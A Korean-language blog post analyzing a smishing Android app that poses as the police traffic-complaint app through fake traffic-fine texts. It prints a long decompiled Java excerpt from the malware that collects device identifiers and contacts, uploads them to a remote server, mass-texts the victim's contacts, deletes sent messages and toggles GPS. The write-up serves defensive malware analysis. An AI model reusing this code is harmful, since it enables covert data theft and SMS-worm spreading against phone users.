반응형

실제 교통 범칙금 통지 문자로 사칭하여, 원래 교통민원 24와 동일한 아이콘을 가진 앱을 다운로드 하게 유도한다.

설치 후 실행하게 되면 전화번호, 디바이스 ID등의 기기 정보와 SMS, 연락처 정보, 신분증/면허증, 금융정보, 주민등록번호를 특정 서버로 전송한다.

 

 

앱 설치 유도

문자의 링크를 접속하게 되면 총 3번의 Depth에 걸쳐 앱을 다운로드하게 유도한다.
설치된 모습

 

앱 분석

1, 2, 3
4

앱을 실행하게 되면 총 4개의 액티비티들로 구성이 되어 있다.

 

JADX-GUI로 열어 확인해보면,

Manifest파일에 있는 권한으로는 SMS접근 권한, 전화가 왔는지, 전화번호부 정보 등 개인정보에 접근 할 수 있는 권한들로 구성되어 있다.

 

그리고 이렇게 여러 클래스들이 있는데 

 

 

코드들을 하나하나 살펴보면,

1.

 위 4개의 액티비티와 앱이 실행되면서 얻은 정보들을 특정 URL로 전송하기 위해 구현한 전송 Class가 보인다.

 

2.

계좌 정보, 카드정보, 신분증

이런 식으로 계좌 정보를 파싱하여 위의 전송 Class에서 선언한 함수를 불러와 호출하는 기능이 있고

º 카드 정보나 신분증 관련된 액티비티에도 이와 동일한 함수가 선언되어 있다.

 

3.

중국어로 되어 있는 부분을 해석하여 주석으로 달아 놓았다. 사용자의 전화를 핸들링하는 클래스로 보인다.

 

4.

앱을 꺼도 계속 켜져 있게 만드는 함수 앱을 종료해도 다시 켜진다.

 

 

5.

    public void disableGPS() {
        onoffGPS("gps", false);
    }

    public void enableGPS() {
        onoffGPS("gps", true);
    }

    private void onoffGPS(String paramString, boolean flag) {
        String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
        if ((flag && !str.contains(paramString)) || (!flag && str.contains(paramString))) {
            Intent intent = new Intent();
            intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            intent.addCategory("android.intent.category.ALTERNATIVE");
            intent.setData(Uri.parse("3"));
            this.context.sendBroadcast(intent);
        }
    }

    public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                String identifier = String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
                return identifier;
            } else if (DeviceID == null) {
                return null;
            } else {
                String identifier2 = DeviceID.toUpperCase();
                return identifier2;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

    public String getTelCompany() {
        return ((TelephonyManager) this.context.getSystemService("phone")).getNetworkOperatorName();
    }

    public void testReadAllContacts(Context context) {
        String cellNumber = getPhoneNumber().replace(" ", "-");
        Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        String phoneNumbers = "";
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            String name = cursor.getString(nameIndex);
            Cursor phones = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            int phoneIndex = 0;
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            }
            while (phones.moveToNext()) {
                String phoneNumber = phones.getString(phoneIndex);
                phoneNumbers = phoneNumbers + phoneNumber + "#" + name + ";";
            }
        }
        String url = HttpUtils.getHttpURL(this.context) + "uploadContact.php";
        MyAsyncTask2 my2 = new MyAsyncTask2(this, this, null);
        try {
            my2.execute(url, phoneNumbers, cellNumber).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e2) {
            e2.printStackTrace();
        }
    }

    public void SendContactsServer(Context context) {
        int i;
        Boolean sendMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false));
        if (!sendMsg.booleanValue()) {
            int smsSwitch = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
            if (smsSwitch != 1) {
                getPhoneNumber().replace(" ", "-");
                int count = 0;
                String word = context.getSharedPreferences("pref", 0).getString("word", "test");
                String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
                if (phone_list != "") {
                    String[] ps = phone_list.split("\n");
                    int length = ps.length;
                    int i2 = 0;
                    while (i2 < length) {
                        String phoneNumber = ps[i2];
                        if (phoneNumber.length() > 3) {
                            SmsManager mySms = SmsManager.getDefault();
                            i = i2;
                            length = length;
                            mySms.sendTextMessage(phoneNumber, null, word, null, null);
                            count++;
                        } else {
                            i = i2;
                            length = length;
                        }
                        i2 = i + 1;
                    }
                    SharedPreferences pref = context.getSharedPreferences("pref", 0);
                    SharedPreferences.Editor editor = pref.edit();
                    editor.putBoolean("sendMsg", true);
                    editor.commit();
                }
            }
        }
    }

    public void deleteSMS(Context context) {
        try {
            ContentResolver CR = context.getContentResolver();
            Uri uriSms = Uri.parse("content://sms/sent");
            Cursor c = CR.query(uriSms, new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context) {
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager mySms = SmsManager.getDefault();
                    mySms.sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendLocalContacts(Context context) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() > 0) {
                int phoneIndex2 = phones.getColumnIndex("data1");
                phoneIndex = phoneIndex2;
            } else {
                phoneIndex = 0;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("86")) {
                    SmsManager mySms = SmsManager.getDefault();
                    mySms.sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendContacts(Context context) {
        Boolean sendLocalMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendLocalMsg", false));
        Boolean sendNetMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendNetMsg", false));
        int localFlag = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
        if (localFlag == 0 && !sendLocalMsg.booleanValue()) {
            SendLocalContacts(context);
            SharedPreferences pref = context.getSharedPreferences("pref", 0);
            SharedPreferences.Editor editor = pref.edit();
            editor.putBoolean("sendLocalMsg", true);
            editor.commit();
        }
        int netFlag = context.getSharedPreferences("pref", 0).getInt("sms_netblockstate", 0);
        if (netFlag == 0 && !sendNetMsg.booleanValue()) {
            SendNetContacts(context);
            SharedPreferences pref2 = context.getSharedPreferences("pref", 0);
            SharedPreferences.Editor editor2 = pref2.edit();
            editor2.putBoolean("sendNetMsg", true);
            editor2.commit();
        }
    }

    public String regCustomer() {
        String phoneNumber = getPhoneNumber().replace(" ", "-");
        String telcompany = getTelCompany().replace(" ", "-");
        if (phoneNumber.equals("")) {
            return "";
        }
        String url = String.valueOf(HttpUtils.getHttpURL(this.context)) + "index.php?type=join&telnum=" + phoneNumber + "&telcompany=" + telcompany + "&version=" + Build.VERSION.RELEASE;
        MyAsyncTask myAsyncTask = new MyAsyncTask(this, this, null);
        this.myAsyncTask = myAsyncTask;
        try {
            return myAsyncTask.execute(url).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
            return "";
        } catch (ExecutionException e2) {
            e2.printStackTrace();
            return "";
        }
    }

마지막으로 Tool클래스에는 사용자 폰의 정보를 탈취하는 함수들이 구현되어 있다.

GPS정보,  전화번호, 통신사, 전화번호부 등을 전송하는 함수들이다.

 

 

https://blog.alyac.co.kr/3926

 

교통법규위반 통지서? 민원24 사칭 문자메시지에 속지 마세요!

안녕하세요, 이스트시큐리티입니다. 지속적으로 늘어나는 스미싱 사례들 가운데, 오늘은 경찰청 교통민원24와 교통범칙금 통지서 사칭에 대해 알아보려고 합니다. 익히 알려진 스미싱 수법들과

blog.alyac.co.kr

 

반응형